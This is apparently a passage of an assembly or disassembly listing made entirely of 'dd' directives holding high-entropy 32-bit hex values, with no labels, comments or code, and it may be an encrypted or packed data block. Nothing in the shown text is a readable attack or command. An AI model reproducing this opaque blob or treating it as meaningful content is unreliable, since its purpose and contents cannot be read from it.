dd 6ED82762h, 0F9283E09h, 82435A5Eh, 59E7FC08h, 89B8341Dh
dd 0DC605681h, 0B9C9991h, 7B8BABBEh, 0A024E55Dh, 13EF01EAh
dd 22E94432h, 77A22A9Fh, 0CDA8FA8Ch, 3905B740h, 172C40FDh
dd 96C51C7Ah, 0DAA4E2EFh, 92DB55CEh, 0CFDDE961h, 44DFF924h
dd 0EA91F545h, 1523EA02h, 610C412Dh, 0FD7ABF25h, 0EAFEB12Eh
dd 1EA45189h, 5E58A544h, 0C1BD3827h, 41427020h, 0B7B54125h
dd 7942AF5h, 199CC4C0h, 0BE2D18C9h, 0CE310B98h, 5EAB41BDh
dd 0F4D3AA62h, 445AC174h, 317ABCB6h, 5D9D7B52h, 49FA485Eh
dd 5949E295h, 22C4EADFh, 322D38E1h, 0BF49E416h, 8B9A8B8Ah
dd 1275F783h, 0F924B24h, 0BC46EB8h, 0CBE2D4F0h, 681798D8h
dd 0A6E2400Eh, 0CF805D03h, 0D099FEF6h, 0B6CF70EFh, 0DE716681h
dd 28B11438h, 68D030CBh, 1A586B2Fh, 0C4A455ACh, 5B15C201h
dd 0BE5800D6h, 6D4A06DDh, 0BD9BD62h, 0C171E918h, 1685BA76h
dd 0AA489279h, 5512514h, 62812B19h, 1E6680AEh, 0D9BD3A63h
dd 756A0220h, 88004994h, 0EC166079h, 3610CF3h, 230C5BD4h
dd 0F487AE8h, 4B7B00DFh, 1C0567A6h, 60522E69h, 7DC13865h
dd 232D79E7h, 8985D364h, 9CF565E6h, 0DF8E9D5Bh, 1073BC73h
dd 5D276B17h, 0A345A45Dh, 441D8188h, 0B4534A39h, 0BA521F8Ch
dd 5A9B1587h, 0A51674E5h, 2F2869FAh, 5CE27BECh, 7C04F282h
dd 0B0B6120Ch, 0E9F01C28h, 59E6B093h, 302C90B2h, 80582CE2h
dd 0F6FF17C2h, 111EAED2h, 6A9F50Ch, 96E92ACDh, 9FBF04F8h
dd 0EB763E41h, 0E2104E90h, 89BC166Dh, 0E97772F9h, 0F2AA9075h
dd 0E87BE1C3h, 5716A4CFh, 6165561Ah, 0C2E1EDE1h, 5B2DE86Fh
dd 0D2D37827h, 590A30D8h, 808F0262h, 8031AE2Eh, 1A4AF628h
dd 7098AC84h, 5CF780FBh, 0C3803BC3h, 61F885BBh, 21585B75h
dd 6BC583D2h, 7A770A0Bh, 810B5EA0h, 0C9F7312Ch, 56089EFEh
dd 4089246Eh, 302224D7h, 0B6F0BE8Dh, 5B9A9592h, 3C8EA960h
dd 812A3700h, 0D54BE6CEh, 4E462676h, 7FEA004Bh, 77E97EF7h
dd 0B089BB5Bh, 80011042h, 2AE9D166h, 3798B7B8h, 10B7988Dh
dd 0BA096893h, 0B7CBFAFBh, 0DDF72C02h, 488D341h, 0B48DF100h
dd 7DEC30EFh, 9E0F7659h, 6802825Bh, 8151225Ah, 81813998h
dd 7FEB0AF6h, 98D0FFFh, 1C77DB05h, 978D9A00h, 5452D2B0h
dd 0A0A7BEC8h, 0F457F6DAh
dd 601B54Eh, 9604712Ch, 0C6427A86h, 756CB168h, 2A397E99h
dd 0E0298A0Bh, 0B783B115h, 96807012h, 1D116D44h, 0E9650B7h
dd 0D104E7C1h, 0B55A1072h, 4E634305h, 74FB869h, 4DF31298h
dd 71CE160h, 2E1548B4h, 7DB76B01h, 0DCCF31ACh, 22BE729Ch
dd 0CF9F8154h, 94EF2981h, 2F7A9C2Dh, 5F236B0h, 47070918h
dd 56EA0B4Fh, 0AB04CE84h, 0FD890BC1h, 0BC781F3Fh, 0E954C293h
dd 6E084149h, 3EF20635h, 7187E982h, 1C648A5Eh, 9B813FECh
dd 6008CF4Eh, 0BF808CB4h, 6A41000Bh, 93F7811Ah, 86EF4A09h
dd 0C23D3F52h, 3CD225CCh, 32F90620h, 0A2C3773Bh, 9DABD39Dh
dd 0E90402FBh, 937FEE38h, 8ED4F590h, 0BE9BD2BEh, 562555F8h
dd 303DE5Ah, 2C8E3EDFh, 3AC347F1h, 0EC487EA3h, 5114910Eh
dd 0EC78520Dh, 5F02A608h, 55E9F289h, 0D50B481Fh, 0E9739F2Bh
dd 2563D44Bh, 331799FDh, 3127007Ch, 0E13C817Fh, 0D07AA153h
dd 3C370250h, 0F210CC1h, 0A86A79E6h, 0A0084126h, 1E98140Ch
dd 8F51BC5Ch, 86969E69h, 4BFADF0Eh, 469BD4D5h, 0BF07291Ah
dd 74FC5127h, 0C8F24CA2h, 2E698FFFh, 5ADD03DBh, 52506CEEh
dd 0ADF04D8Fh, 169E1751h, 0A890E6E5h, 0F7023AB6h, 5D31C019h
dd 673A88E8h, 0E92CA690h, 0CA42D283h, 0A8015159h, 2C53F211h
dd 20B05AE2h, 0E90880D2h, 0BA37546Dh, 670912C8h, 0D0570A47h
dd 905F3C70h, 0C5FCBBBh, 0A528AB3Dh, 80E5C2DFh, 399514B8h
dd 76055C16h, 0E8911696h, 12625A39h, 4B93D958h, 867A52D6h
dd 9F10DA2Fh, 0D87DD2ECh, 4B6B7938h, 7B1E3DFFh, 64480AB2h
dd 0D95CB94Fh, 0C73DA5F4h, 3018F53Ch, 59CD939Eh, 8BADDE9Fh
dd 0B1712104h, 0DDB75380h, 2F5E780h, 0D5F6EF86h, 4AF0D6E9h
dd 0BED85F5Bh, 0EFFC5BEFh, 1B81725h, 1296D384h, 73F8E956h
dd 0CD92E24Eh, 0D03E89B1h, 7C19F6C4h, 0BC3F5528h, 744A9227h
dd 0C3C101F3h, 2B1A1512h, 510BE3F9h, 1C05EE9h, 0E5B7FE88h
dd 0D1479655h, 2F5EF2C1h, 36C2B591h, 2563D220h, 5B72A0E9h
dd 0A5B8E24Ah, 22D12FADh, 0E72B1C77h, 6B35123Ah, 0A4AE6CEEh
dd 7F0862BDh, 0F2CA08D1h, 489CB315h, 0EB83174Dh, 4A09CABBh
dd 450E1F4h, 31E912B4h, 2F60FF2Bh, 4C6A7006h, 5F49ABF8h
dd 6F31F14Eh, 53811FADh, 2831BB68h, 11FC920Fh, 5970522Dh
dd 6CD8F44Bh, 0CC0E4BD2h, 0A256888h, 0CBD0D66Ch, 537D04h
dd 805BDD28h, 88D917C5h, 0DE5D1CEBh, 41F341BAh, 2DD53DE9h
dd 2CBE05E7h, 3C8108AAh, 0B0CDC524h, 8F25166Ch, 2F5C1941h
dd 54C926E3h, 8008BBD4h, 17E620A3h, 0CC775068h, 756AAA56h
dd 0DE3F1D49h, 79AE3F84h, 0C65E2827h, 17B12BE9h, 4E32059h
dd 0AE483BBBh, 0CD5E3CDAh, 0FDE4822Bh, 60B5C46h, 0E09D0DF9h
dd 80E7CFE4h, 0D100D8F7h, 3B342DE8h, 0B0017EFCh, 0EF1D3244h
dd 0C6C0DF21h, 283B1138h, 13CF0171h, 4F032150h, 0FAE4588Fh
dd 8BC20E49h, 4265F682h, 7794DF09h, 46A96812h, 403284CCh
dd 557256CAh, 27306809h, 9A38F53h, 0E1349AA5h, 1D2F1B56h
dd 0A50D295h, 0ADE7A3FAh, 3C9C125Eh, 0F82FCCE8h, 8C8498E8h
dd 64BC050Eh, 356DDC68h, 0E9B461D2h, 650D7C46h, 7E90076Ah
dd 10F2EB8h, 1F056223h, 46AF66F9h, 0BBB09791h, 0BF29CD40h
dd 52E2A040h, 5D77EC1Fh, 0F2E0FF96h, 0C1567E5Bh, 2F0F5030h
dd 0F270707Eh, 0F96107A2h, 0D36024DCh, 0C33D80FCh, 4FE5984Ch
dd 0FAE1BA16h, 0F72713B7h, 5A1FFADAh, 0F2092FFBh, 3B7A3CB8h
dd 0E471598h, 2B2F510Ah, 7E898905h, 95E967C5h, 164E90DEh
dd 627A9C4Bh, 4E034A38h, 3F7829EEh, 68AE60C4h, 0E3C4C9DDh
dd 1BA870E9h, 5EC7BF00h, 68B91C30h, 248ED809h, 58BAD429h
dd 5848C131h, 0E1F87936h, 704D0F01h, 1F56680Ch, 67C18338h
dd 3007760Ah, 0D09C8D1h, 80811C6Bh, 5C4C2FE6h, 0D00B741h
dd 5637D817h, 9174E9Eh, 0ABEC52BFh, 77993701h, 0EE30FC8Bh
dd 7ECDF443h, 0D15F3836h, 0D928FE4Fh, 13BB949Eh, 68720221h
dd 0AB51503Eh, 27EAE188h, 0D4ADB15Dh, 0BB4AD3Fh, 8035F072h
dd 0D92CFE91h, 0FFAB03Eh, 1B492FCCh, 436AF380h, 5D957BD7h
dd 17A3CC80h, 1CC03D85h, 7CD63F5h, 0D0D95E29h, 0B980C1ACh
dd 80CF8D28h, 7CAFE64Ah, 36C15CFBh, 66CD6CCFh, 5C8E942h
dd 0F5C4AE5Bh, 3D408E00h, 0E2454EA4h, 7ED0BC1h, 80DDC583h
dd 27156C29h, 0CD82B73Dh, 0AA09E725h, 0F64305B1h, 80041FD6h
dd 16F3E6EEh, 0DE4D01B3h, 6EB29DE9h, 0AA133BCEh, 0F14D90CCh
dd 0B0B01E4Ah, 7D59EBF8h, 0A8AAB46Bh, 9DEDC043h, 2E0C321Dh
dd 226CD501h, 44DD5C08h, 0AF9AD725h, 0A608687Fh, 1E280439h
dd 8502D9B9h, 76D2EEC6h, 2D41D496h, 0E913971Eh, 38EF7B8Ah
dd 0FE26688Bh, 2BCE704Bh, 0DEDF6802h, 3CC3DF83h, 0BA192F34h
dd 7D2A4431h, 5AC45438h, 0D1F7054Fh, 0BD5B27E0h, 0BD82B1F6h
dd 403FF94Dh, 2FC29016h, 9C70840Dh, 73889C70h, 5BCE1340h
dd 0E7C9AB4Fh, 134AE320h, 2520714h, 0AF151FEFh, 0C4F7C480h
dd 1026E277h, 0F1921F01h, 62CEAE00h, 985E48E5h, 0A3A45DB0h
dd 738FB877h, 0DE72BF59h, 201EC495h, 0BB04DFD5h, 1AE72088h
dd 1750E4FEh, 0E986561Eh, 54163875h, 0F85F50C8h, 20E15BD6h
dd 7FF3B9E0h, 0AD691D3Eh, 0F78742A9h, 68C25BF1h, 419EAB7h
dd 1E12AEBEh, 904E92C6h, 2009337Dh, 0FA30747Bh, 68504EABh
dd 572C00ADh, 322D580Ch, 0F02336Ch, 56AE335h, 0E994C147h
dd 0EDE964FAh, 0B8BEE8EEh, 0AB7F12DBh, 5717E06Eh, 879A7DFCh
dd 0E3BB660Fh, 297E291Ah, 0CA34F59Ch, 660A8EA0h, 15FE676h
dd 81DA2C4h, 3553D857h, 0EB00A9DDh, 4B0D4ED0h, 2714A847h
dd 0D512C2DCh, 3B3A464Fh, 0DCFD25D7h, 7C3F02E7h, 40577B4Eh
dd 0CE58143h, 4DC0F5Ah, 4F19081Eh, 0EC9224BAh, 0C56F65C5h
dd 0D1C5FBD2h, 4E17CABFh, 6A0438B8h, 5476712h, 580001EAh
dd 0F057ABF2h, 24FB9629h, 534E0340h, 0A8D46DE7h, 25894CEAh
dd 0C648F183h, 76F65E57h, 5A1A3916h, 2A799EACh, 20FC3287h
dd 0D1F4755Fh, 0CFCC565Fh, 0A64E3AAEh, 0B3A9CAh, 7DB3F6C3h
dd 4199E9FBh, 16BA3872h, 0E9ACBC6Bh, 97D6E5C9h, 5FE93B29h
dd 2FE221A3h, 25507B13h, 49AA6235h, 45557232h, 0D47EA737h
dd 3321E961h, 1666EE48h, 0FA0D206Ah, 80B3AC4h, 5AA2D658h
dd 67759E62h, 66320BCBh, 0D2E509D6h, 340847EBh, 0AAD2DF90h
dd 0E479EF2Dh, 0C8DCBF84h, 73EF2E68h, 34AE5BB3h, 0AA8EEB0Fh
dd 0C822FE5Bh, 24C7720Ah, 89B5E58h, 3012FBDEh, 0AF4AA3F8h
dd 70339129h, 35686681h, 0F4A5D258h, 0E4B605B5h, 0E5864954h
dd 396F30F5h, 2746B579h, 55B0CB72h, 1290F94Ah, 3D43BBC1h
dd 9596116Dh, 0C4E6B810h, 19148A8Eh, 9CDA8F25h, 3D3094A0h
dd 504CFB27h, 0F1E78291h, 353151F8h, 0A3F6AC93h, 0CA25335h
dd 0A3358B9Fh, 84A72EF4h, 0ABBC9422h, 72B418A1h, 0C0C99ED8h
dd 0C4A6443Ah, 1A0D43Eh, 0F488C6FEh, 0C42B20E5h, 34F2BFD7h
dd 9BC5D3C6h, 6309F306h, 72DC304Fh, 5B90C1DEh, 660ECE68h
dd 0C4B01B5Fh, 0F8B6B253h, 6B681296h, 5061CC41h, 0F6DDDB8h
dd 41EE12EDh, 0FCEE1EE8h, 10F560A7h, 0EB9E722Ah, 0BA436F03h
dd 0DBEE901Bh, 0E9392D08h, 2984D8DEh, 0F2BE5DEBh, 9560E632h
dd 39C06271h, 1265A841h, 0CEC157E9h, 73A85F69h, 118E91C4h
dd 34174CFAh, 0A01610BEh, 0AF7585BEh, 4FE36838h, 2628CC1Eh
dd 38450D52h, 6648747h
dd 7A867E9h, 30D9F791h, 6A6CE635h, 92091375h, 801B246Dh
dd 0EAED16A9h, 0EBD8959Ch, 58BF571Fh, 0D0739509h, 0DFF7020Bh
dd 0A2FFE94Fh, 1839DB77h, 0CB81C92Dh, 8F1E2B09h, 0C050434Bh
dd 6B145A3Fh, 0A4001062h, 6F6047F4h, 89C7E2BFh, 0AFC276E3h
dd 85C2915Eh, 27B8753Eh, 15D3C68h, 42128B97h, 5626408Dh
dd 5B5B9F08h, 19EE208h, 28F6EB80h, 0E161D6F3h, 39AC3F5Ah
dd 0EDD56EC9h, 0E9830BE9h, 3DCDE5F7h, 25C837ADh, 21DDCCDh
dd 0ED8151D6h, 50C80E10h, 3046C5F0h, 0E9F0CCBAh, 86E6415Dh
dd 0C57E2B41h, 2DC7729Dh, 0CB01ECA2h, 2507A460h, 82BF6477h
dd 0A90CFAC9h, 0B66C5D7Fh, 0E08DE927h, 1251BDE9h, 0E8BC9836h
dd 20A15BCEh, 4F843920h, 1F78E050h, 62AEC84Bh, 4798577Bh
dd 24C0AF3Bh, 2AEE8FBAh, 3E439D7Dh, 9374FB9Ah, 6AAAB7C2h
dd 0F08F26Dh, 83D7F706h, 0B9E9861Eh, 410B9B03h, 81388476h
dd 7431FF1Ah, 0E29480F6h, 3B02AA06h, 81E21BE9h, 56078D01h
dd 0C75AA8B2h, 8A6885F0h, 6FDB8D11h, 283A2CCDh, 6F4E013Eh
dd 0D8D949E4h, 4C238055h, 5B1FB312h, 52EDD8AAh, 0AE2BE912h
dd 0FE6464EBh, 770111B4h, 854A4BC6h, 0A28B31BFh, 81DB078Ch
dd 486BB668h, 0B1B1E0FAh, 1ACA307Dh, 0C926120Ch, 5E682109h
dd 5160992Bh, 120133E4h, 0BD59606Ah, 1FEB04E5h, 6F816CA9h
dd 550039A5h, 674D3168h, 2DD58100h, 5D2A7B5Eh, 0E6C180A2h
dd 0BAEE8102h, 0B56F9C04h, 0EDC2F589h, 8889FF7Ch, 0E9127834h
dd 0B1B41847h, 53DC890Dh, 72A701D3h, 454A34D0h, 515F1F42h
dd 32D54772h, 4D7E5394h, 0FBF18217h, 6B78046Bh, 88EE13DAh
dd 6D62236Fh, 0F6AA946Bh, 0A1FADA55h, 6E4AD927h, 7A509FC5h
dd 71AE3505h, 0C2847E57h, 685E2190h, 32375A5Fh, 0BA5007C0h
dd 0D56EB901h, 0CD019487h, 90D0993Ah, 201EA268h, 0C080DCCCh
dd 52ECD0E8h, 0F6F003B6h, 0EE76467Bh, 9F6AE916h, 54A88320h
dd 80A0DDF7h, 0A9AA6F25h, 5B58D889h, 81FD4EC3h, 0D0C103D2h
dd 74171E5Dh, 73BC0399h, 63490896h, 2DF00100h, 4EE278A8h
dd 5A12A77Ch, 0BB85AEACh, 7E3D8012h, 11024105h, 0D8291B40h
dd 66078B2Dh, 6C0505B2h, 0A4A2532h, 30072DD7h, 5E0EEA48h
dd 94BA384Ah, 944FB06Fh, 0A4BD8C96h, 0A093177Fh, 0FD3F79E1h
dd 5658A008h, 47532468h, 1480697Eh, 49E262C8h, 39C554BFh
dd 27806703h, 0A1A4E94Ah, 0C8133E8Bh, 104BCFBBh, 904B8AE1h
dd 0EFC0ECC9h, 0C7FE0316h, 12138D08h, 6872D05Eh, 46BF28C8h
dd 46F3835Ch, 21178F10h, 20AC8DD8h, 94F0E919h, 0CB57FC95h
dd 7B9DBDCCh, 4F308800h, 20478F07h, 31C306ECh, 0CD1EF448h
dd 0FA370729h, 25E57373h, 7117595Eh, 0FD63E90Dh, 18492440h
dd 812802AAh, 0BC124EEFh, 759BE5C1h, 0B6803FE9h, 60CF37B1h
dd 26570C58h, 2BF7D48h, 0A2CCC0D4h, 0B00D39E8h, 2408198Fh
dd 12618233h, 3BD369A7h, 93041C94h, 31ABB6F8h, 9FB49Bh
dd 93F0095Bh, 24A2C60h, 7E4206CBh, 70A1C055h, 0EAF1C166h
dd 0C759555Eh, 0A362F2EAh, 9EB080Ah, 4465BBAh, 0C25610BDh
dd 0A31116DBh, 0B450AB66h, 5F916408h, 32813DEFh, 0D15CC9FFh
dd 0C87F6911h, 8089A3F6h, 8E09C681h, 9015672Ch, 0FEA0F6C2h
dd 21DC20DFh, 18DCE5F8h, 7E0ED7C2h, 8849C025h, 35AA075Ah
dd 3534A22Dh, 1448370h, 8DE3965Fh, 0F35BD913h, 0F532C1Dh
dd 81C4E30Ch, 34220BF7h, 0F06213C7h, 80E4AC61h, 80DAF63Ch
dd 3A8852F2h, 0B2185AD4h, 0C2FE16CEh, 1E5B2290h, 1705E63Ch
dd 4CE5001h, 0FC9DCA6Ch, 86CFC4F4h, 0D8DE5F0Bh, 2EEF7F7Ah
dd 555839B2h, 0E950A351h, 27329CEAh, 0FBE7380h, 0E3EC7DA8h
dd 0A30BB309h, 0AEBA8054h, 0C1658A51h, 3C213D24h, 380C8232h
dd 0A96C398Bh, 34DC85A5h, 70ED6722h, 0BE839533h, 89BF8BE1h
dd 25B26D5Fh, 8E37DFA2h, 0BD2CF157h, 5300C425h, 871C8858h
dd 0D28D72CEh, 1876CAFEh, 0E36DB135h, 0B8771DE4h, 50EB8379h
dd 0C38F134Eh, 40E1B3CBh, 4CE2836Ch, 170B14Fh, 506E8924h
dd 6BDE01FEh, 0EE0296CBh, 373C2382h, 0E3A8D886h, 5756E800h
dd 0BA061768h, 0ED5F4812h, 0B131ABD3h, 3A2658C1h, 0EC82C1Ch
dd 929C04F8h, 0EAF0221Fh, 0AD00DD74h, 906D202Dh, 706DB849h
dd 60779ECAh, 4D07F6BBh, 0DBF70216h, 0FBA85E00h, 4A318304h
dd 4F88B3CBh, 0B902A4A8h, 0A4AC7503h, 53F633F0h, 66F353C3h
dd 7495D25Ah, 15582D13h, 921CC73Ah, 3BA1FDF0h, 5E20F77Fh
dd 0A0B37849h, 277FB8B5h, 26E3B0CDh, 9181B9DCh, 38BF4ADDh
dd 0E92556F0h, 518600D3h, 258088B5h, 53C02DC5h, 28D33F9Bh
dd 0B235A3A9h, 2CCEAB6Dh, 0D8CC8C65h, 734CCE50h, 0CB8D8181h
dd 0F47BF85Dh, 170B2120h, 8590864h, 6524079Fh, 1E0E7901h
dd 0F13B0135h, 5A080292h, 39735742h, 5F34F74Bh, 28D91332h
dd 5993745Ch, 667B2412h, 1B86051Eh, 0FE23604Bh, 0A3E7627Eh
dd 278E7B55h, 0E11C4276h, 0CD14FFADh, 9AA2D3FAh, 0BA00D978h
dd 7AEB693Dh, 25345BEh, 0D63126ADh, 24FE3FE9h, 0F2525F0Ah
dd 58579300h, 740524h, 2D3FA56Eh, 5BF19A09h, 4A72E1B7h
dd 1FC10C60h, 9644EA18h, 3994EFD1h, 0B198A2ABh, 586EA037h
dd 7E68E001h, 0C4FD7CE9h, 4416F397h, 0BB8CEDDEh, 9FC460D8h
dd 267E2709h, 0D6995ED8h, 0A5F68644h, 62E8CAF7h, 624E2968h
dd 75810E27h, 58EC9E66h, 5DAD25E9h, 0C49AAB72h, 4ABA6920h
dd 0FF44EA09h, 4DD7DDF7h, 75DFE262h, 28998219h, 26B902D8h
dd 7D01A00Ch, 0BE564540h, 8760E038h, 0D721E902h, 0D8BB5F0Bh
dd 4F0BD1E3h, 0DE126268h, 1EC46F37h, 5B44E295h, 53CBE1BDh
dd 25AF9E75h, 309802B1h, 907133Fh, 2BF18119h, 21268CE0h
dd 46E919CEh, 20EA4143h, 0E192C74Fh, 6C25A284h, 835B59A0h
dd 0FE8817B7h, 2E80AAE9h, 4D96EC37h, 85594E8Dh, 51AF871Ch
dd 742B0Bh, 59EBDE2h, 4CA82DFEh, 0C9C58193h, 0FB77C24Eh
dd 0B9CC6216h, 5D799475h, 582D224Bh, 0E9F815F6h, 88AB55B5h
dd 4B213D30h, 0B937BADDh, 6A99C7A2h, 8AF14053h, 2018937Ch
dd 5058262Ch, 0F6C00BFBh, 803CC575h, 6871B450h, 0C1A67076h
dd 0FEE9B105h, 0A18780C9h, 0C8F96D62h, 3953987Eh, 2AFD582Fh
dd 3CA02475h, 9219EBD1h, 275E10A7h, 0BA951777h, 0E706CFBDh
dd 40DFF707h, 5A2DB20h, 48520BBEh, 0E9B4FE77h, 7CE91606h
dd 0EDCF29D8h, 25B37809h, 6D94FD42h, 60093513h, 0A64F5406h
dd 5250003Eh, 0BB47AB6h, 0BC70EC80h, 0C475F475h, 7085A65h
dd 0A8F781BEh, 326485Fh, 0AA917D32h, 66456943h, 0F0F20E93h
dd 0D64AF7E3h, 0E70322ACh, 608C723Dh, 0CFC0D7D3h, 5C3F5A8Dh
dd 0CB09796Eh, 37C329h, 4C5FDF80h, 0B03B867h, 8802850h
dd 0EB81B054h, 60E53B9Fh, 2980070h, 2931E4EAh, 1D585BDFh
dd 0E8DEBD20h, 0A7F41EBCh, 3448939h, 44FA25Eh, 0D0918480h
dd 0B0683F05h, 96E395CAh, 25DBB95Bh, 2841020Ch, 0F67964D7h
dd 261D4339h, 1A1D0C53h, 0BB304C00h, 5BF65191h, 0B9A1B039h
dd 0D617280Bh, 684F003Bh, 257DED11h, 0DC02A9E9h, 43435950h
dd 0CAB125EBh, 0DF2DDC6Dh, 112E8B17h, 0F8138FECh, 0A7DDD0C1h
dd 3B4B2C2Fh, 40AE4484h, 9DA37CD1h, 0A120E97Eh, 0E96873B2h
dd 92B4F93Eh, 8FB514EAh, 0EF10F44Fh, 60C2BAC0h, 0E4F98951h
dd 4FCB7CEh, 0B73BE950h, 2C8BB482h, 0C697375h, 0EFA3D6E2h
dd 0A0CBFA95h, 1475BB82h
dd 0E83ED031h, 771D3802h, 0E680431Bh, 0BFBEB293h, 2AE9E0A8h
dd 2339595Eh, 9D68BC3Eh, 1391680Eh, 5E10838Fh, 5D7C6383h
dd 0E055DA4Ch, 2D437CB1h, 23480B23h, 5CBE035Ah, 11B19665h
dd 6839432Bh, 0FB137E8Ch, 18A94EC3h, 9140A98Bh, 8490BD55h
dd 0FC460625h, 0CC521FAFh, 541E8428h, 8685F09h, 603EFC7Eh
dd 76E51D56h, 0AEC38107h, 1D01AE2h, 4D7AE9DFh, 2909C15Ch
dd 0B2F5246Fh, 9A5657C7h, 0E871E9C2h, 0CDD6294Dh, 110F023Eh
dd 2BEE5CAh, 0C6868059h, 0A006EB7Eh, 2444E7C4h, 0FA31A18h
dd 0E8F6164Ah, 4B080BE6h, 0C03E82F7h, 0EC51053Eh, 58ACD3B9h
dd 59168F1Ah, 979AA0FDh, 9D036648h, 0AD62C2D1h, 1668018Ch
dd 2FA62F2Ch, 5BEE277Ah, 18899471h, 62C93047h, 3C57B27Bh
dd 1F17C331h, 8827E2ABh, 0A72F26F3h, 0D9E33877h, 195BBF5Bh
dd 0F7725A5h, 39322BB1h, 1B879B1h, 0CE70815Fh, 2D59241Bh
dd 4E0B107Dh, 85F766B1h, 0FC5A30B0h, 0A39F64AFh, 0F87995C3h
dd 58582778h, 49F8BE12h, 0C920C55Fh, 0C7540957h, 0F3E9893Dh
dd 6885BB54h, 0A63551A9h, 0AC81C5BBh, 0F83CE2AAh, 93E52521h
dd 0F68BE2F1h, 207CF215h, 9250556h, 8F85E0CFh, 5EA82FB0h
dd 0C07257F4h, 0E2529616h, 905D9509h, 600EE94Fh, 7E2E3CDh
dd 3248081Ah, 72CE0551h, 951F7711h, 7D0B2245h, 0C19840AFh
dd 7A861E20h, 0A5B8D1F2h, 0A31ADB5Bh, 826D7774h, 3FAE712Fh
dd 2DC7F059h, 0ECD90902h, 209B8FE2h, 7502D1C5h, 4CB93E4Dh
dd 6CF327BBh, 2114406Dh, 842E65D4h, 8002D051h, 92C13EC7h
dd 0D48D498Eh, 4C4C5132h, 61480598h, 0C0EA3AF0h, 8959533Fh
dd 0C71D0F7Dh, 205774F3h, 6E120B58h, 4DD258DDh, 9D8D3412h
dd 817BEC1Ah, 0DAB30AC4h, 0E308C1BFh, 5F3CCA3h, 1C6A06C8h
dd 0E9DD0241h, 8ADEBF5Ch, 79435998h, 0B9C6C0D5h, 71F14037h
dd 7498D1F5h, 460F8C6Fh, 64516BAFh, 0CBFECB02h, 3DA21875h
dd 0BB0FB757h, 7E9B01BBh, 3E583FFFh, 72E96F02h, 0F7F04A3Bh
dd 807F5182h, 93D40Fh, 7A9B34D6h, 955FFB29h, 2189AD65h
dd 68DAD6B8h, 0F96162C7h, 46EA8100h, 0C8C5091Ch, 0C4FD0B68h
dd 0A06CA17Eh, 0FD5DA452h, 0D03F71E0h, 7B8225B6h, 43619F69h
dd 2211F860h, 0E1813C05h, 55272A89h, 0BC89045Ch, 5E4744CEh
dd 0B43E80C0h, 0E405806Dh, 0B1B5515Eh, 7473A4EFh, 597FECE0h
dd 74D7FFE6h, 0BF5E6881h, 4F2D62F8h, 0EF30E428h, 9F1D7809h
dd 7AF88401h, 1BC9C11Eh, 7F53E429h, 5CFB6D1h, 0DB20E5C5h
dd 4C5C827Eh, 5D95862h, 4F158301h, 6BF6B12Eh, 0F8885007h
dd 0C5D5D067h, 0F7281FD1h, 0BFC892DCh, 94F1A94Bh, 0BA0E8BACh
dd 615055Ah, 0D0D14281h, 0DFCCF33Ah, 7908B4FDh, 5DF3A0FBh
dd 0BAF8535Ah, 0A2CEE9B0h, 7782DFDDh, 40352862h, 39586AE9h
dd 1DD25B4Fh, 5D741A61h, 0F262C634h, 4256F1DDh, 695B476Eh
dd 5778C609h, 6E591B94h, 78683AE7h, 0F7E27BE1h, 4998ABB5h
dd 28AD4AAEh, 648BBC5h, 0B7D9DD0Ch, 0E53EC125h, 4F2EECF3h
dd 97C0EEBFh, 0E9D81954h, 0ED9B5C9Ch, 23DAB9A7h, 0ED61FBB9h
dd 0EB44A610h, 40E2F30Bh, 524D6820h, 0C90F1402h, 2949B179h
dd 0EFA36E05h, 0F62717h, 0E95F0F65h, 84C8CA2Eh, 0EC7FB510h
dd 913260ACh, 963635C3h, 96EC554Eh, 1816770Fh, 42DFF281h
dd 0C22470B0h, 0A223EA01h, 5AD3090Ah, 3C15863Eh, 0C568BD0Eh
dd 1642DE1Bh, 0CA1C2432h, 8B31750Ch, 31D53ED2h, 0B2BDA902h
dd 0CC054F1h, 0EA8B5412h, 71A81E14h, 46E25CFh, 0C3BA5A68h
dd 16E4B894h, 17CD8EAh, 9888D360h, 952F5644h, 64CB5471h
dd 4AC300BCh, 0E95D8034h, 95C19A27h, 1201D7C2h, 8A6DAE47h
dd 84810804h, 0D86EAA9Ah, 0C1A08927h, 40829441h, 80D1CCB8h
dd 780EEA2Dh, 42050F88h, 5E206227h, 2B530762h, 0CA768B5Fh
dd 0FD81A7BDh, 0E92E449Eh, 20AFC99Fh, 0D537112Ch, 5261BC6Dh
dd 1B559E52h, 33803E92h, 39CAAFA5h, 59BA2952h, 0B510175Bh
dd 0A1024153h, 4BD22EE4h, 0CFF8008h, 0FC1C4C67h, 0F2374EEEh
dd 0C1A58B57h, 6422520Fh, 0F57AB4C7h, 3865CBE6h, 0F73092B7h
dd 0F40AD1D3h, 5D5800Bh, 0CDEE49D5h, 8700380Ch, 0D773525Fh
dd 7D7F1751h, 0E734A1h, 4827DCE6h, 0BE04560Ch, 0E2BFBB2Dh
dd 126A39A1h, 24BE0F3Ch, 8074C0E4h, 0B8A3E83Dh, 73C7444Eh
dd 9219F689h, 935CABBDh, 0D712EEDFh, 0D74638C2h, 0A3098F70h
dd 70780771h, 0FF27C955h, 8A4479D9h, 8802A6C0h, 0FC08D35Ch
dd 4F905819h, 0A2841133h, 6304577Eh, 3FCE1881h, 23AE3929h
dd 0EB286AC8h, 0E95A0B08h, 44FFA990h, 7DFE7269h, 124FEAF1h
dd 0E75B5938h, 953E160Eh, 0EB2C74F9h, 2F7EA5E5h, 0CC82D565h
dd 0F3B0572Ch, 0D8BDD7B6h, 0B1510542h, 1FC888E5h, 48629095h
dd 0D12F5052h, 0C2CBB40Ch, 44F62129h, 67B5D96Ah, 0B36D0028h
dd 28D9E96Eh, 740981B2h, 2006BD42h, 6BAC2D40h, 0C3E1A1B4h
dd 3C868B2Eh, 0AB4D02EBh, 0F06CE93Bh, 0BBB3937Fh, 0DC40EADEh
dd 68ED5D1Bh, 4059209h, 9A4480E1h, 3C61BD2Bh, 608A3C85h
dd 9745155Ah, 9FF6975Fh, 590B0820h, 30666C68h, 0B535F85Dh
dd 0F5932667h, 0B24EF45Dh, 0A2BB1244h, 0E1ADD3D5h, 16CF4DC4h
dd 5FFD7400h, 92339968h, 0B09D2E7Bh, 0A05B92BBh, 2769F0A8h
dd 81C6201Ch, 25BE0FF3h, 5D831588h, 5610E5C1h, 124B9F35h
dd 0CC34A57Eh, 432E6956h, 0AAE2075Fh, 4A59F5C5h, 1A4CC30Ch
dd 0B2495E59h, 0AE5C164h, 9F43788Ah, 14C2F9F4h, 76E9BB20h
dd 0B14AC0ECh, 59CC0886h, 0F5B0B8C4h, 287095C1h, 4405AD00h
dd 76165F13h, 2EA93E01h, 0A48F3A0Dh, 25AB48F0h, 54BB4300h
